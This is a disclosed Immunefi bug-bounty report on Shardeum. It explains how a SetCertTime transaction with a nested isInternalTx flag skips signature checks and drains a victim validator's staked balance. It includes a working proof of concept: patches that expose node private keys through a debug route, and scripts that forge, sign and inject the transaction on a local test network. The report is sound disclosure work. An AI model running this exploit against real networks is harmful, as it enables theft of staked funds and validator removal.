# #39812 \[BC-Critical] Bypass \`SetCertTime\` transaction signature check #1

**Submitted on Feb 8th 2025 at 00:38:00 UTC by @Blockian for** [**Audit Comp | Shardeum: Core III**](https://immunefi.com/audit-competition/audit-comp-shardeum-core-iii)

* **Report ID:** #39812
* **Report Type:** Blockchain/DLT
* **Report severity:** Critical
* **Target:** <https://github.com/shardeum/shardeum/tree/bugbounty>
* **Impacts:**
  * Direct loss of funds
  * Network not being able to confirm new transactions (total network shutdown)

## Description

## Impact

Bypass the signature of `SetCertTime` transaction, which allows for draining any validators balance.

* Note: same impact as report [33750](https://reports.immunefi.com/shardeum-core/33750-bc-critical-abusing-setcerttime-transactions-to-drain-node-...) but a different root cause.

## Root Cause

There is an inconsistency between the function [`isSetCertTimeTx`](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L29-L29) and the function [isInternalTx](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L29-L29), specifically with regards to `.tx.isInternalTx`. This makes it so that `SetCertTime` transactions with `.tx.isInternalTx = true` don't undergo `SetCertTime` validation.

## Attack Flow

A malicious user submits a `SetCertTime` transaction on behalf of someone else (`nominator == victim`), causing a fee to be deducted from their account. The malicious user can then continue doing so until the node is kicked / drained.

## Deep Dive

When validating a `SetCertTime` transaction, the function [`validateTxnFields`](https://github.com/shardeum/shardeum//blob/bugbounty/src\setup\validateTxnFields.ts#L53-L53) which is used to validate transaction fields [calls](https://github.com/shardeum/shardeum//blob/bugbounty/src\setup\validateTxnFields.ts#L79-L79) [`isSetCertTimeTx`](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L29-L29) to decide if it should call [`validateSetCertTimeTx`](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L89-L89) which validates properties of the transaction, including [its signer's identity](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L108-L108) .

[`isSetCertTimeTx`](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L29-L29) returns `false` if `tx.isInternalTx` isn't set to `true`, even if `tx.internalTXType === InternalTXType.SetCertTime`:

```js
export function isSetCertTimeTx(tx): boolean {
  if (tx.isInternalTx && tx.internalTXType === InternalTXType.SetCertTime) {
    return true
  }
  return false
}
```

When applying a `SetCertTime` transaction, [the check is](https://github.com/shardeum/shardeum//blob/bugbounty/src\index.ts#L2902-L2902):

```js
internalTx.internalTXType === InternalTXType.SetCertTime
```

in order to call [`applySetCertTimeTx`](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L189-L189) even if `tx.isInternalTx` isn't set to `true`, as long as [isInternalTx](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L29-L29) returns `true`, which can happen if `tx.tx.isInternalTx` is `true`:

```js
export function isInternalTx(timestampedTx: any): boolean {
  if (timestampedTx && timestampedTx.raw) return false
  if (timestampedTx && timestampedTx.isInternalTx) return true
  if (timestampedTx && timestampedTx.tx && timestampedTx.tx.isInternalTx) return true // <-- HERE
  return false
}
```

The fee is then subtracted from the victim's balance in [`applySetCertTimeTx`](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L189-L189) [here](https://github.com/shardeum/shardeum//blob/bugbounty/src\tx\setCertTime.ts#L286-L286).

## Suggested Fix

I suggested to do 3 things:

1. Only use the `isInternalTx` function, never use `.isInternalTx`
2. Only use the `isSetCertTimeTx` function, never compare `internelTxType`
3. Remove the third check from `isInternalTx` as it is not used

## Severity

This allows to kick validators and do drain funds, and so it critical.\
In addition, this is the same as [33750](https://reports.immunefi.com/shardeum-core/33750-bc-critical-abusing-setcerttime-transactions-to-drain-node-...) which was classified as critical.

## Proof of Concept

## POC

1. All of `shardeum`, `core`, and `json-rpc-server` should be on the `bugbounty` branch
2. Apply `debug-10-nodes` as stated in the docs
3. Apply the following patch on core (the logs are optional):

```diff
diff --git a/src/logger/index.ts b/src/logger/index.ts
index bfabe928..2c4fae5a 100644
--- a/src/logger/index.ts
+++ b/src/logger/index.ts
@@ -148,7 +148,7 @@ export let logFlags: LogFlags = {
   net_rust: false,
   net_verbose: false,
   net_stats: false,
-  dapp_verbose: false,
+  dapp_verbose: true,
   profiling_verbose: false,
 
   aalg: false,
diff --git a/src/shardus/index.ts b/src/shardus/index.ts
index f29206b8..5003889a 100644
--- a/src/shardus/index.ts
+++ b/src/shardus/index.ts
@@ -2911,6 +2911,22 @@ class Shardus extends EventEmitter {
    * Register the exit and config routes
    */
   _registerRoutes() {
+    this.network.registerExternalGet('bugbounty', async (req, res) => {
+      const info = { 
+        active: Self.isActive,
+        ip: Self.ip,
+        port: Self.port 
+      }
+      if (Self.isActive) {
+        info['id'] = Self.id
+        info['public_key'] = Context.crypto.keypair.publicKey
+        info['private_key'] = Context.crypto.keypair.secretKey
+        info['active_nodes'] = NodeList.activeByIdOrder
+        info['archivers'] = [...Archivers.archivers.values()]
+        info['hash_key'] = config.crypto.hashKey
+      } 
+      res.send(info)
+    })
     // DEBUG routes
     this.network.registerExternalPost('exit', isDebugModeMiddlewareHigh, async (_req, res) => {
       res.json({ success: true })

```

4. Apply the following patch on `shardeum`

```diff
diff --git a/src/config/genesis.json b/src/config/genesis.json
index 53aeee7e..65e5cc1b 100644
--- a/src/config/genesis.json
+++ b/src/config/genesis.json
@@ -89,6 +89,9 @@
   "0x0c799D15c3f2e9dAf10677aD09565E93CAc3e4c4": {
     "wei": "1001000000000000000000"
   },
+  "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d": {
+    "wei": "10000000000000000000000000"
+  },
   "0xEbe173a837Bc30BFEF6E13C9988a4771a4D83275": {
     "wei": "1001000000000000000000"
   },
```

5. Run the network with 10 nodes
6. Wait for all the nodes to be active
7. Run the following code, to create a staking account:

```js
import { ethers } from "ethers";
import { fromAscii } from "@ethereumjs/util";

// dont forget to add to src/config.genesis.json in shardeum, see server_genesis.patch
const VICTIM_WALLET = {
        address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
        privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const JSON_RPC_URL = "http://127.0.0.1:8080";

async function sendStakeTransaction() {
    const stake_to_address = "0x0000000000000000000000000000000000010000";
    const stake_data = {
        stake: 10000000000000000000,
        internalTXType: 6, // Stake
        nominee: VICTIM_WALLET.address.replace('0x', '').padEnd(64, '0'),
        nominator: VICTIM_WALLET.address,
    };
    const provider = new ethers.providers.JsonRpcProvider(JSON_RPC_URL);
    const wallet = new ethers.Wallet(VICTIM_WALLET.privateKey, provider);
    const stake_tx = {
        to: stake_to_address,
        value: BigInt(10000000000000000000),
        data: fromAscii(JSON.stringify(stake_data))
    };
    const tx = await wallet.sendTransaction(stake_tx);
    const receipt = await tx.wait();

    return receipt;
}
  
await sendStakeTransaction()
```

8. Run the following code, to start draining the staking account:

```js
import axios from "axios";
import crypto from '@shardus/crypto-utils';

crypto.init("69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc")

const VICTIM_WALLET = {
    address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
    privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))

const main = async  () => {
    console.log("Grabbing Nodelist ....");
    let res = await axios.get('http://0.0.0.0:4000/nodelist')
    const nodelist = res.data.nodeList
    const randomNode = nodelist[Math.floor(Math.random() * nodelist.length)]

    const setCertTimeTx = {
        tx: {isInternalTx: true},
        internalTXType: 5,
        nominee: "",
        nominator: "",
        duration: 19, 
        timestamp: Date.now() + 1000,
    }

    setCertTimeTx.nominator = VICTIM_WALLET.address
    setCertTimeTx.nominee = VICTIM_WALLET.address.replace('0x', '').padEnd(64, '0');
    
    const nominator = setCertTimeTx.nominator.replace('0x', '').padEnd(64, '0')
    const before = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
    console.log("Balance and certExp before attack --------------------------------------")
    console.log(before.data);
    
    console.log("Constructing InternalTx setCertTime: ", setCertTimeTx)
    
    const url = `http://${randomNode.ip}:${randomNode.port}/bugbounty`
    res = await axios.get(url)
    if (!res.data.active) {
        console.log('ERROR - Attacker node is not active.')
        return
    }
    const CONFIG = res.data
    
    crypto.init(CONFIG['hash_key'])
    
    const ATTACKER_PUBLIC_KEY=CONFIG['public_key']
    const ATTACKER_PRIVATE_KEY=CONFIG['private_key']
    
    crypto.signObj(setCertTimeTx, ATTACKER_PRIVATE_KEY, ATTACKER_PUBLIC_KEY)
    console.log("Signing InternalTx setCertTime: ", setCertTimeTx)

    console.log("Firing InternalTx setCertTime ....")
    res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, setCertTimeTx)

    if(!res.data.success) throw new Error(res.data.reason)
    console.log(`http://${randomNode.ip}:${randomNode.port}/inject`)
    console.log("Waiting 120 sec for transaction to be finalized");
    await sleep(120000)

    const after = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
    console.log("Balance and certExp after attack --------------------------------------")
    console.log(after.data);


}

main();
```

NOTE: This POC uses a node as the attacker just because it is guaranteed to have an account and I know its private key. Any account would do.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/shardeum-core-iii/39812-bc-critical-bypass-setcerttime-transaction-signature-check-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
